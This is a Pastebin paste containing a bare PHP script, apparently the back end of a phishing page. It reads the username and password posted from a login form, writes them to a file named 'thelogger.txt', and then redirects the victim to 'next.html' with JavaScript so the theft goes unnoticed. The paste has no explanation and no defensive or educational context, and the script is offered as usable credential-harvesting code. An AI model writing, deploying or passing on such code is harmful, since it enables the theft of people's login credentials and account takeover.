Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $line =('===========================================');
- $name = $_POST['name'];
- $user = $_POST['username'];
- $passes = $_POST['password'];
- $headers .= "Content-Type: text/plain; charset=iso-8859-1\n";
- $mes .= 'user: '.$user."\n";
- $mes .= 'Password: '.$passes."\n";
- $mes .= ".$line.";
- $file = "thelogger.txt";
- $fh = fopen($file, 'w');
- fwrite ($fh, "$mes\n");
- fclose($fh);
- echo "<script LANGUAGE=\"JavaScript\">
- <!--
- window.location=\"next.html\";
- //-->
- </script>";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement